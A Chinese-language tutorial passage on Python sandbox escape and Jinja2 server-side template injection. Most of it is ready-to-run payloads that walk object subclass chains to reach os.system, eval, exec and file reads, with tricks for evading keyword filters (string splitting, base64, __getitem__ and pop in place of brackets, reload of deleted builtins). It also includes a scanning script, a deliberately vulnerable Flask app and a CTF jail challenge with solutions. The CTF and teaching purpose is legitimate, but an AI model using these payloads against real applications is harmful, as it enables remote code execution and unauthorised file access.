(60, 'eval')
(60, 'open')
(60, 'execfile')
下面简单归纳为4种方式:
序号为40,即file()函数,进行文件读取和写入,payload如下:
1
2
''.__class__.__mro__[2].__subclasses__()[40]('./flag').read()
''.__class__.__mro__[2].__subclasses__()[40]('./flag', 'w').write('ljdd520')
这和前面元素链构造时给出的Demo有点区别:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('./flag').read()
序号59是WarningMessage类,其具有globals属性,包含builtins,其中含有file()函数,属于第二种方式;而这里是直接在object类的所有子类中直接找到了file()函数的序号为40,直接调用即可。
当然也可以通过调用index()函数的方式来寻找file()函数是否在object类的子类中且序号是多少:
1
2
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

第二种方式:

先看序号为59的WarningMessage类有哪些而利用的模块或方法:
1
2
3
4
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])
(59, <class 'warnings.WarningMessage'>, '__builtins__', None)
(59, <class 'warnings.WarningMessage'>, 'sys', None)
(59, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])
以linecache中的os为例,这里简单解释下工具的寻找过程依次如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 确认linecache
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache']
# 返回linecache字典中的所有键
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__
.keys()
# 在linecache字典的所有键中寻找os的序号,找到为12
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__
.keys().index('os')
# 更换keys()为values(),访问12序号的元素,并获取该os字典的所有键
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys()
# 在os字典的所有键中寻找system的序号,找到为79
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
# 执行os.system()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[79]('calc')
payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# linecache利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('calc')

# __builtins__利用,包括__import__、file、open、execfile、eval、结合exec的compile等
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/test.txt', 'w').write('hello')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['execfile']('E:/exp.py')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").system("calc")')
exec(''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['compile']('__import__("os").system("calc")', '<string>', 'exec'))

# sys利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('calc')

# types利用,后面还是通过__builtins__实现利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['types'].__dict__['__builtins__']['__import__']('os').system('calc')
序号为60的catch_warnings类利用payload同上。
序号为61、62的两个类均只有__builtins__可利用,利用payload同上。
序号为72、77的两个类_Printer和Quitter,相比前面的,没见过的有os和traceback,但只有os模块可利用:
1
2
# os利用
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('calc')
序号为78、79的两个类IncrementalEncoder和IncrementalDecoder,相比前面的,没见过的有open:
1
2
3
# open利用
''.__class__.__mro__[2].__subclasses__()[78].__init__.__globals__['open']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[78].__init__.__globals__['open']('E:/test.txt', 'w').write()

第三种方式:

先看下序号为59的WarningMessage类:
1
2
3
4
5
6
(59, 13, <class 'warnings.WarningMessage'>, '__import__')
(59, 13, <class 'warnings.WarningMessage'>, 'file')
(59, 13, <class 'warnings.WarningMessage'>, 'compile')
(59, 13, <class 'warnings.WarningMessage'>, 'eval')
(59, 13, <class 'warnings.WarningMessage'>, 'open')
(59, 13, <class 'warnings.WarningMessage'>, 'execfile')
注意是通过values()函数中的数组序号来填写第二个数值实现调用,以下以eval为示例,其他的利用payload和前面的差不多就不再赘述了:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("calc")')

其他类似修改即可。

第四种方式

这里只有一种序号,为60:
1
2
3
4
5
6
7
(60, '__import__')
(60, 'file')
(60, 'repr')
(60, 'compile')
(60, 'eval')
(60, 'open')
(60, 'execfile')
调用示例如下,其他类似修改即可:
1
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")
前面的脚本是针对Python2的,这里再贴个Python3的脚本,原理一致:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# coding=UTF-8
# Python3
find_modules = {'asyncio': ['subprocess', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'concurrent': ['__builtins__'], 'ctypes': ['__builtins__'], 'curses': ['__builtins__'],
'dbm': ['os', 'sys', '__builtins__', 'open'], 'distutils': ['sys', '__builtins__'],
'email': ['__builtins__'], 'encodings': ['codecs', 'sys', '__builtins__'],
'ensurepip': ['os', 'sys', '__builtins__'], 'html': ['__builtins__'], 'http': ['__builtins__'],
'idlelib': ['__builtins__'], 'importlib': ['sys', '__import__', '__builtins__'],
'json': ['codecs', '__builtins__'], 'lib2to3': ['__builtins__'],
'logging': ['os', 'sys', '__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'multiprocessing': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'], 'sqlite3': ['__builtins__'],
'test': ['__builtins__'], 'tkinter': ['sys', '__builtins__'], 'turtledemo': ['__builtins__'],
'unittest': ['__builtins__'], 'urllib': ['__builtins__'],
'venv': ['os', 'subprocess', 'sys', '__builtins__'], 'wsgiref': ['__builtins__'],
'xml': ['__builtins__'], 'xmlrpc': ['__builtins__'], '__future__': ['__builtins__'],
'__phello__.foo': ['__builtins__'], '_bootlocale': ['sys', '__builtins__'],
'_collections_abc': ['sys', '__builtins__'], '_compat_pickle': ['__builtins__'],
'_compression': ['__builtins__'], '_dummy_thread': ['__builtins__'], '_markupbase': ['__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'], '_pydecimal': ['__builtins__'],
'_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'], '_sitebuiltins': ['sys', '__builtins__'],
'_strptime': ['__builtins__'], '_threading_local': ['__builtins__'], '_weakrefset': ['__builtins__'],
'abc': ['__builtins__'], 'aifc': ['__builtins__', 'open'], 'antigravity': ['__builtins__'],
'argparse': ['__builtins__'], 'ast': ['__builtins__'], 'asynchat': ['__builtins__'],
'asyncore': ['os', 'sys', '__builtins__'], 'base64': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'binhex': ['os', '__builtins__'], 'bisect': ['__builtins__'],
'bz2': ['os', '__builtins__', 'open'], 'cProfile': ['__builtins__'],
'calendar': ['sys', '__builtins__'], 'cgi': ['os', 'sys', '__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'chunk': ['__builtins__'], 'cmd': ['sys', '__builtins__'],
'code': ['sys', '__builtins__'], 'codecs': ['sys', '__builtins__', 'open'], 'codeop': ['__builtins__'],
'colorsys': ['__builtins__'], 'compileall': ['os', 'importlib', 'sys', '__builtins__'],
'configparser': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'copy': ['__builtins__'], 'copyreg': ['__builtins__'], 'crypt': ['__builtins__'],
'csv': ['__builtins__'], 'datetime': ['__builtins__'], 'decimal': ['__builtins__'],
'difflib': ['__builtins__'], 'dis': ['sys', '__builtins__'], 'doctest': ['os', 'sys', '__builtins__'],
'dummy_threading': ['__builtins__'], 'enum': ['sys', '__builtins__'], 'filecmp': ['os', '__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], 'fnmatch': ['os', '__builtins__'],
'formatter': ['sys', '__builtins__'], 'fractions': ['sys', '__builtins__'],
'ftplib': ['sys', '__builtins__'], 'functools': ['__builtins__'], 'genericpath': ['os', '__builtins__'],
'getopt': ['os', '__builtins__'], 'getpass': ['os', 'sys', '__builtins__'],
'gettext': ['os', 'sys', '__builtins__'], 'glob': ['os', '__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'hashlib': ['__builtins__'], 'heapq': ['__builtins__'],
'hmac': ['__builtins__'], 'imaplib': ['subprocess', 'sys', '__builtins__'], 'imghdr': ['__builtins__'],
'imp': ['os', 'importlib', 'sys', '__builtins__'],
'inspect': ['os', 'importlib', 'sys', '__builtins__'], 'io': ['__builtins__', 'open'],
'ipaddress': ['__builtins__'], 'keyword': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'locale': ['sys', '__builtins__'], 'lzma': ['os', '__builtins__', 'open'],
'macpath': ['os', '__builtins__'], 'macurl2path': ['os', '__builtins__'],
'mailbox': ['os', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'modulefinder': ['os', 'importlib', 'sys', '__builtins__'],
'netrc': ['os', '__builtins__'], 'nntplib': ['__builtins__'], 'ntpath': ['os', 'sys', '__builtins__'],
'nturl2path': ['__builtins__'], 'numbers': ['__builtins__'], 'opcode': ['__builtins__'],
'operator': ['__builtins__'], 'optparse': ['os', 'sys', '__builtins__'],
'os': ['sys', '__builtins__', 'open'], 'pathlib': ['os', 'sys', '__builtins__'],
'pdb': ['os', 'sys', '__builtins__'], 'pickle': ['codecs', 'sys', '__builtins__'],
'pickletools': ['codecs', 'sys', '__builtins__'], 'pipes': ['os', '__builtins__'],
'pkgutil': ['os', 'importlib', 'sys', '__builtins__'],
'platform': ['os', 'platform', 'subprocess', 'sys', '__builtins__'],
'plistlib': ['os', 'codecs', '__builtins__'], 'poplib': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'pprint': ['__builtins__'],
'profile': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'pty': ['os', 'sys', '__builtins__'],
'py_compile': ['os', 'importlib', 'sys', '__builtins__', 'compile'],
'pyclbr': ['importlib', 'sys', '__builtins__'],
'pydoc': ['os', 'platform', 'importlib', 'sys', '__builtins__'], 'queue': ['__builtins__'],
'quopri': ['__builtins__'], 'random': ['__builtins__'], 're': ['__builtins__', 'compile'],
'reprlib': ['__builtins__'], 'rlcompleter': ['__builtins__'],
'runpy': ['importlib', 'sys', '__builtins__'], 'sched': ['__builtins__'],
'secrets': ['os', '__builtins__'], 'selectors': ['sys', '__builtins__'],
'shelve': ['__builtins__', 'open'], 'shlex': ['os', 'sys', '__builtins__'],
'shutil': ['os', 'sys', '__builtins__'], 'signal': ['__builtins__'],
'site': ['os', 'sys', '__builtins__'], 'smtpd': ['os', 'sys', '__builtins__'],
'smtplib': ['sys', '__builtins__'], 'sndhdr': ['__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'socketserver': ['os', 'sys', '__builtins__'], 'sre_compile': ['__builtins__', 'compile'],
'sre_constants': ['__builtins__'], 'sre_parse': ['__builtins__'], 'ssl': ['os', 'sys', '__builtins__'],
'stat': ['__builtins__'], 'statistics': ['__builtins__'], 'string': ['__builtins__'],
'stringprep': ['__builtins__'], 'struct': ['__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sunau': ['__builtins__', 'open'], 'symbol': ['__builtins__'], 'symtable': ['__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'tabnanny': ['os', 'sys', '__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'telnetlib': ['sys', '__builtins__'],
'tempfile': ['__builtins__'], 'textwrap': ['__builtins__'], 'this': ['__builtins__'],
'threading': ['__builtins__'], 'timeit': ['timeit', 'sys', '__builtins__'], 'token': ['__builtins__'],
'tokenize': ['sys', '__builtins__', 'open'], 'trace': ['os', 'sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'tracemalloc': ['os', '__builtins__'],
'tty': ['os', '__builtins__'], 'turtle': ['sys', '__builtins__'], 'types': ['__builtins__'],
'typing': ['sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'uuid': ['os', 'sys', '__builtins__'], 'warnings': ['sys', '__builtins__'],
'wave': ['sys', '__builtins__', 'open'], 'weakref': ['sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'], 'xdrlib': ['__builtins__'],
'zipapp': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'importlib', 'sys', '__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))
all_modules = list(set(list(find_modules.keys()) + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass

过滤__globals__

当__globals__被禁用时,
  • 可以用func_globals直接替换;
  • 使用getattribute(‘__globa’+’ls__‘);
    如:
    1
    2
    3
    4
    5
    6
    7
    # 原型是调用__globals__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

    # 如果过滤了__globals__,可直接替换为func_globals
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('calc')
    # 也可以通过拼接字符串得到方式绕过
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")['__builtins__']['__import__']('os').system('calc')

过滤__mro__或__bases__或__base__

两者可互相替换来Bypass其中之一被禁用的情况,但需要注意两者获取object类时的格式区别:
1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

如:

1
2
3
4
5
6
# 三者互换均可
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

base64编码

对关键字进行base64编码可绕过一些明文检测机制:
1
2
3
4
5
6
7
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0

reload()方法

某些情况下,通过del将一些模块的某些方法给删除掉了,但是我们可以通过reload()函数重新加载该模块,从而可以调用删除掉的可利用的方法:
1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

字符串拼接

凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
如:
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__bu'+'iltins__']['__impor'+'t__']('o'+'s').system('ca'+'lc')

过滤中括号

当中括号[]被过滤掉时,
调用__getitem__()函数直接替换;
调用pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
如:
1
2
3
4
5
6
7
8
# 原型
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')

# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('calc')

0x05 ssti注入

题目环境搭建如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding:utf8 -*-
from flask import Flask, request
from jinja2 import Template
from flask import render_template_string

app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{ljdd520}"

@app.route('/')
def index():
t=Template("Hello world!")
return t.render()

@app.route("/ssti")
def ssti():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

@app.route('/demo')
def demo():
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
return t.render()

@app.route('/safe')
def safe():
name=request.args.get('name','guest')
t=Template("Hello {{n}}")
return t.render(n=name)

@app.route('/runos')
def runos():
name = request.args.get('name')
template = '<h1>hello {}!<h1>'.format(name)
return render_template_string(template)


if __name__=="__main__":
# app.run(debug=True,host="0.0.0.0",port=8080)
app.run(debug=True,host="127.0.0.1",port=8080)

分析太多了,由于没有过滤随便搞。

一道金典的ctf题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def make_secure():
UNSAFE = [
'open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input'
]
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
inp=raw_input().strip()
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
这道题目运行在python2.7的环境,在删除__import__等危险函数的同时也删除了 reload。
可以用如下的payload绕过:
1
2
().__class__.__bases__[0].__subclasses__()[40]("./flag").read()
''.__class__.__mro__[2].__subclasses__()[40]("./flag").read()
这是另一个payload:
1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
前一部分思路类似于读文件,就来到这。
1
2
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.WarningMessage'>
可以看到是获取了一个warnings.WarningMessage类,然后继续执行__init__后获取全局变量
func_globals返回一个包含函数全局变量的字典引用
然后获取linecache模块(其中包含了os模块)
1
2
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache']
<module 'linecache' from 'D:\python\lib\linecache.pyc'>
然后用__dict__获取指定模块(由于对输入的字符进行了限制,所以要找个利用字符串获取指定模块的方式)
__dict__是一个字典,键为属性名,值为属性值
1
2
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os']
<module 'os' from 'D:\python\lib\os.pyc'>
直接逃逸就好了:
1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

0x06 绕过再分析

利用继承链绕过沙盒。

利用file对象读取文件
构造继承链的一种思路是:
1.随便找到一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class ‘object')
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类

例如:

1
2
().__class__.__base__.__subclasses__()
().__class__.__bases__[0].__subclasses__()

可以看到:

1
[...,<type 'file'>, ...]

寻找file的位置。

1
2
3
4
5
6
7
8
#coding:utf-8

search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
if 'file' in str(i):
print num
num += 1

dir来看看内置的方法

1
dir(().__class__.__bases__[0].__subclasses__()[40])

运行的结果如下:

1
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

构造payload如下:

1
().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()

或者用__mro__构造如下:

1
().__class__.__mro__[1].__subclasses__()[40]('filename').readlines()

方法等价于

1
file('./flag').readlines()

用类置模块执行命令

可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding:utf-8

search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 74)
"""

如下的payload:

1
2
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

上面的方法是基于python2的。

下面是py2和py3都通用的。

我们要用__builtins__来构造。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
(<class 'warnings.WarningMessage'>, 59)
(<class 'warnings.catch_warnings'>, 60)
(<class '_weakrefset._IterationGuard'>, 61)
(<class '_weakrefset.WeakSet'>, 62)
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 74)
(<class 'codecs.IncrementalEncoder'>, 75)
(<class 'codecs.IncrementalDecoder'>, 76)
"""

于是有py3:

1
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

py2:

1
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

0x07 参考

Python沙箱逃逸总结
Python 沙箱逃逸
python 沙箱逃逸